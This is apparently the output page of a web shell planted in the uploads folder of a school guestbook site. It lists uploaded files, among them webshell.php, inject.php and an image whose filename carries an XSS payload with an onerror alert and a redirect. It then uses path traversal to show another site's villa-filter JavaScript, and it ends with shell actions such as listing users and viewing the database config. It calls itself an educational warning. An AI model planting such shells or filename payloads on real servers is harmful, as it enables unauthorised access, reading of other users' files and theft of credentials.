🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../584683.klas4s23.mid-ica.nl/public_html/../public_html/../public_html/WI/js/villas.js

const filterValues = {
    "PropertyTags": [],
    "LocationTags": [],
    "Search": "",
    "Location": "",
};

const filterConfig = {
    "Prijs": { min: 10, max: 500 },
    "Capaciteit": { min: 1, max: 60 },
    "Slaapkamers": { min: 1, max: 10 },
    "Badkamers": { min: 1, max: 10 }
};

const FormattedFilters = {}
let Tags = [];
let Villas = [];

async function getVillas() {
    [Villas, Tags] = await Promise.all([
        VillaRequests.getVillas(),
        VillaRequests.getTags()
    ]);

    if (Villas.success === false) {
        console.log(Villas.error);

        return;
    }

    updateVillaDisplay();
    if (Tags.success === false) {
        console.log(Tags.error);

        return;
    }

    let PropertyTags = JSON.parse(Tags.data.PropertyTags);
    let locationTags = JSON.parse(Tags.data.LocationTags);

    const PropertyTagsContainer = document.getElementById('propertyTagsContainer');
    const locationTagsContainer = document.getElementById('locationTagsContainer');

    PropertyTagsContainer.innerHTML = '';
    locationTagsContainer.innerHTML = '';

    for (let i = 0; i < PropertyTags.length; i++) {
        PropertyTagsContainer.innerHTML += `<div class="form-check">
            <input class="form-check-input tagCheckBox" type="checkbox" value="${PropertyTags[i].PropertyTagId}" id="propertyTag${PropertyTags[i].PropertyTagId}" onchange="UpdateAllFilterValues()">
            <label class="form-check-label" for="propertyTag${PropertyTags[i].PropertyTagID}">${PropertyTags[i].PropertyTag1}</label>
        </div>`;
    }

    for (let i = 0; i < locationTags.length; i++) {
        locationTagsContainer.innerHTML += `<div class="form-check">
            <input class="form-check-input" type="checkbox" value="${locationTags[i].LocationTagId}" id="locationTag${locationTags[i].LocationTagId}" onchange="UpdateAllFilterValues()">
            <label class="form-check-label" for="locationTag${locationTags[i].LocationTagId}">${locationTags[i].LocationTag1}</label>
        </div>`;
    }
}

function updateVillaDisplay() {
    let villaData = JSON.parse(Villas.data.Villas);
    document.getElementsByClassName('villaList')[0].innerHTML = '';

    if (villaData.length === 0) {
        document.getElementsByClassName('villaList')[0].innerHTML = 
        `<div class="villaCard">
                <p style="margin-left:5px;">No villas found</p>
            </div>`;

        return;
    }

    for (let i = 0; i < villaData.length; i++) {
        const villa = new SmallVilla(villaData[i]);
        document.getElementsByClassName('villaList')[0].innerHTML += villa.html;
    }
}

function initializeRangeSlider(container) {
    const range = container.querySelector(".range-selected");
    const rangeInputs = container.querySelectorAll(".range-input input");
    const rangePrices = container.querySelectorAll(".range-price input");
    const filterTitle = container.closest(".filterGroup").querySelector("h2").innerText.trim();

    const initialMin = filterConfig[filterTitle]?.min || 0;
    const initialMax = filterConfig[filterTitle]?.max || 1000;
    const settings = { minRangeGap: 1, stepSize: 1 };


    //kan dit misschien in een for loopje? of is het ingewikkelder dan het lijkt?
    rangeInputs[0].min = initialMin;
    rangeInputs[0].max = initialMax;
    rangeInputs[1].min = initialMin;
    rangeInputs[1].max = initialMax;
    rangeInputs[0].value = initialMin;
    rangeInputs[1].value = initialMax;
    rangeInputs[0].step = settings.stepSize;
    rangeInputs[1].step = settings.stepSize;

    rangePrices[0].min = initialMin;
    rangePrices[0].max = initialMax;
    rangePrices[1].min = initialMin;
    rangePrices[1].max = initialMax;
    rangePrices[0].value = initialMin;
    rangePrices[1].value = initialMax;
    rangePrices[0].step = settings.stepSize;
    rangePrices[1].step = settings.stepSize;

    handlePriceInput();
    handleRangeInput();
    updateSlider();

    // Store initial values in filterValues
    filterValues[filterTitle] = {
        min: initialMin,
        max: initialMax
    };

    function updateSlider() {
        const minValue = parseInt(rangeInputs[0].value);
        const maxValue = parseInt(rangeInputs[1].value);

        const rangeMin = parseInt(rangeInputs[0].min);
        const rangeMax = parseInt(rangeInputs[1].max);

        // Normalize values based on the actual range
        const leftPercent = ((minValue - rangeMin) / (rangeMax - rangeMin)) * 100;
        const rightPercent = 100 - ((maxValue - rangeMin) / (rangeMax - rangeMin)) * 100;

        range.style.left = leftPercent + "%";
        range.style.right = rightPercent + "%";
    }

    function updateFilterValues() {
        filterValues[filterTitle] = {
            min: parseInt(rangeInputs[0].value),
            max: parseInt(rangeInputs[1].value)
        };

        UpdateAllFilterValues();
    }

    function handlePriceInput() {
        let minPrice = parseInt(rangePrices[0].value);
        let maxPrice = parseInt(rangePrices[1].value);

        if (maxPrice - minPrice >= settings.minRangeGap) {
            rangeInputs[0].value = minPrice;
            rangeInputs[1].value = maxPrice;
        } else {
            if (this === rangePrices[0]) {
                rangePrices[1].value = minPrice + settings.minRangeGap;
            } else {
                rangePrices[0].value = maxPrice - settings.minRangeGap;
            }
        }
        
        rangeInputs[0].value = rangePrices[0].value;
        rangeInputs[1].value = rangePrices[1].value;
        
        updateSlider();
        updateFilterValues();
    }

    function handleRangeInput() {
        let minRange = parseInt(rangeInputs[0].value);
        let maxRange = parseInt(rangeInputs[1].value);
        
        if (maxRange - minRange < settings.minRangeGap) {
            if (this === rangeInputs[0]) {
                rangeInputs[0].value = maxRange - settings.minRangeGap;
            } else {
                rangeInputs[1].value = minRange + settings.minRangeGap;
            }
        } else {
            rangePrices[0].value = minRange;
            rangePrices[1].value = maxRange;
        }
        
        updateSlider();
        updateFilterValues();
    }

    rangePrices.forEach(input => input.addEventListener("input", handlePriceInput));
    rangeInputs.forEach(input => input.addEventListener("input", handleRangeInput));
}

let timeout = null;

function UpdateAllFilterValues() {
    const propertyTags = Array.from(document.querySelectorAll(".tagCheckBox:checked")).map(input => input.value);
    console.log(propertyTags); //is dit nog nodig?
    const locationTags = Array.from(document.querySelectorAll("#locationTagsContainer input:checked")).map(input => input.value);
    const search = document.getElementById("searchField").value;
    const location = document.getElementById("locationSearchField").value;
    filterValues["PropertyTags"] = propertyTags;
    filterValues["LocationTags"] = locationTags;
    filterValues["Search"] = search;
    filterValues["Location"] = location;

    FormattedFilters["PropertyTagsIDs"] = propertyTags
    FormattedFilters["LocationTagsIDs"] = locationTags
    FormattedFilters["Search"] = search
    FormattedFilters["Location"] = location
    FormattedFilters["MinPrice"] = filterValues["Prijs"]?.min
    FormattedFilters["MaxPrice"] = filterValues["Prijs"]?.max
    FormattedFilters["MinCapacity"] = filterValues["Capaciteit"]?.min
    FormattedFilters["MaxCapacity"] = filterValues["Capaciteit"]?.max
    FormattedFilters["MinBedrooms"] = filterValues["Slaapkamers"]?.min
    FormattedFilters["MaxBedrooms"] = filterValues["Slaapkamers"]?.max
    FormattedFilters["MinBathrooms"] = filterValues["Badkamers"]?.min
    FormattedFilters["MaxBathrooms"] = filterValues["Badkamers"]?.max

    if (timeout) {
        clearTimeout(timeout);
    }
    
    timeout = setTimeout(async () => {
        Villas = await VillaRequests.getVillasByFilters(FormattedFilters);
        if (Villas.success === false) {
            console.log(Villas.error);

            return;
        }
        
        updateVillaDisplay();
    }, 500);
}

getVillas();
document.querySelectorAll(".range").forEach(slider => initializeRangeSlider(slider));
UpdateAllFilterValues();

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!